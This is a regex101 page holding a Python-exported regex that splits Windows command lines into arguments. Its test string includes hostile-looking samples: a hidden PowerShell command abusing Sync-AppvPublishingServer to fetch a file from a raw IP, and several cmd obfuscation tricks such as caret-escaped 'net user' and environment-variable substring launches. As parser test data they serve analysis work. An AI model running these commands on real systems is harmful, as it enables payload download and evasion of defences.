Regular Expressions 101

Save & Manage Regex

  • Current Version: 1
  • Save & Share
  • Community Library

Flavor

  • PCRE2 (PHP)
  • ECMAScript (JavaScript)
  • Python
  • Golang
  • Java
  • .NET 7.0 (C#)
  • Rust
  • PCRE (Legacy)
  • Regex Flavor Guide

Function

  • Match
  • Substitution
  • List
  • Unit Tests (2)
Sponsors
There are currently no sponsors. Become a sponsor today!
An explanation of your regex will be automatically generated as you type.
Detailed match information will be displayed here automatically.
  • All Tokens
  • Common Tokens
  • General Tokens
  • Anchors
  • Meta Sequences
  • Quantifiers
  • Group Constructs
  • Character Classes
  • Flags/Modifiers
  • Substitution
  • A single character of: a, b or c
    [abc]
  • A character except: a, b or c
    [^abc]
  • A character in the range: a-z
    [a-z]
  • A character not in the range: a-z
    [^a-z]
  • A character in the range: a-z or A-Z
    [a-zA-Z]
  • Any single character
    .
  • Alternate - match either a or b
    a|b
  • Any whitespace character
    \s
  • Any non-whitespace character
    \S
  • Any digit
    \d
  • Any non-digit
    \D
  • Any word character
    \w
  • Any non-word character
    \W
  • Non-capturing group
    (?:...)
  • Capturing group
    (...)
  • Zero or one of a
    a?
  • Zero or more of a
    a*
  • One or more of a
    a+
  • Exactly 3 of a
    a{3}
  • 3 or more of a
    a{3,}
  • Between 3 and 6 of a
    a{3,6}
  • Start of string
    ^
  • End of string
    $
  • A word boundary
    \b
  • Non-word boundary
    \B

Regular Expression
Processing...

Test String

Code Generator

Generated Code

import re regex = re.compile((r"(?#\\n" r"Doc: This regex will split the commandline in arguments\n\n" r"Details:\n" r" The arg variable will contain all the different arguments\n" r" argument delimiters are in two categories :\n" r" whitespaces delimiters : \t \n \r \v ' '\n" r" ',' : is a delimiter in the windows cmd \n" r" but it's not one in the powershell\n" r" quotation delimiters : \' \` \"\n\n" r"Variables:\n" r" arg : will contain each argument\n" r"Next variables can be adjusted by adding or deleting delimiters\n" r" quote_delimiters : quoted argument delimiters\n" r" whitespace_delimiters : whitespace argument delimiters\n\n" r")(?#\\n" r")(?<arg>(?#\\n" r" )(?<arg_quote>(?#\\n" r" )(?<quote_delimiters>\"|'|`)(?#\\n" r" )(?:(?#\\n" r" )(?!\3)(?#\\n" r" )(?<escape>(?(?!\\)[\x00-\xFF]|[\x00-\xFF]{2}))(?#\\n" r" ))*(?#\\n" r" )\3(?#\\n" r" ))|(?<arg_whitespace>(?#\\n" r" )(?:(?#\\n" r" )(?!(?#\\n" r" )(?<whitespace_delimiters>\s|$)|(?#\\n" r" )(?P>quote_delimiters)(?#\\n" r" ))(?#\\n" r" )(?P>escape)(?#\\n" r" ))+(?#\\n" r" ))(?#\\n" r"))(?#\\n" r")(?#\\n" r")(?#\\n" r"Related doc:\n" r" https://docs.microsoft.com/fr-fr/cpp/c-language/parsing-c-command-line-arguments?view=vs-2019\n" r" http://daviddeley.com/autohotkey/parameters/parameters.htm\n" r")"), flags=re.MULTILINE) test_str = ("\"C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroRd32.exe\" --type=renderer /prefetch:1 \"R:\\Coficine\\MCI\\01 Activités\\03 PARTICIPATIONS\\2 Sociétés\\1 Particip. actuelles\\Monello Productions\\03. Dossier client\\01. KYC\\Actionnariat\\Actionnariat - 2018-05-03.pdf\"\n\n" "\"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" -NonInteractive -WindowStyle Hidden -ExecutionPolicy RemoteSigned -Command &amp;{$env:psmodulepath = [IO.Directory]::GetCurrentDirectory(); import-module AppvClient; Sync-AppvPublishingServer \\n;(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;Invoke-WebRequest -Uri http://209.97.141.246/ee/index_files/alert.css}\n\n" "\"UNIT TESTS :\"\n\n" "''\n" " arg0\\ \\ \\\\ \"arg1\\\"\\\"\" \"arg2\\\"\\\\\"\"arg3 \\\"\" 'arg4\"arg4\"' arg5 arg6 \n\n" " space_bef_and_aft__arg0 arg1 arg2 arg3 \n" "space_aft___________arg0 arg1 arg2 arg3 \n" " space_bef__________arg0 arg1 arg2 arg3\n" "nospace_____________arg0 arg1 arg2 arg3\n\n" " multispace______________arg0 arg1 arg2 arg3 arg4 \n\n" " C:\\ProgramData\\Anaconda3\\python.exe C:\\ProgramData\\Anaconda3\\cwp.py C:\\ProgramData\\Anaconda3 C:\\ProgramData\\Anaconda3\\python.exe C:\\ProgramData\\Anaconda3\\Scripts\\jupyter-notebook-script.py \"%USERPROFILE%/\" \n\n" ".\n\n" "`echo `ls \"/tmp\"``'``'\n\n" "1\"\"3\"4\"\n\n" "n^e^t u^s^er\n\n" "cmd /c \"set x=calc & echo %x% | cmd\"\n" "cmd /c \"set x=c@alc & echo %x:@=mantvydas% | cmd\"\n\n" "\\c \\\\ \\' \\\" '\\'\\'\\'\\'\\'\\'\\'\\\\' \n\n" "'# this will take the C character from %programdata% and will launch the cmd prompt'\n" "%programdata:~0,1%md \\c \"whatever\"\n\n" "@cmd\n" "set pSM \n" "PSModulePath=C:\\Users\\mantvydas\\Documents\\WindowsPowerShell\\Modules;....\n\n" "FOR /F \"tokens=7 delims=s\\\\\" %g IN ('set^|findstr PSM') do %g\n\n" "cmd,/c;hostname\n\n\n\n\n\n") matches = regex.finditer(test_str) for match_num, match in enumerate(matches, start=1): print(f"Match {match_num} was found at {match.start()}-{match.end()}: {match.group()}") for group_num, group in enumerate(match.groups(), start=1): print(f"Group {group_num} found at {match.start(group_num)}-{match.end(group_num)}: {group}")

Please keep in mind that these code samples are automatically generated and are not guaranteed to work. If you find any syntax errors, feel free to submit a bug report. For a full regex reference for Python, please visit: https://docs.python.org/3/library/re.html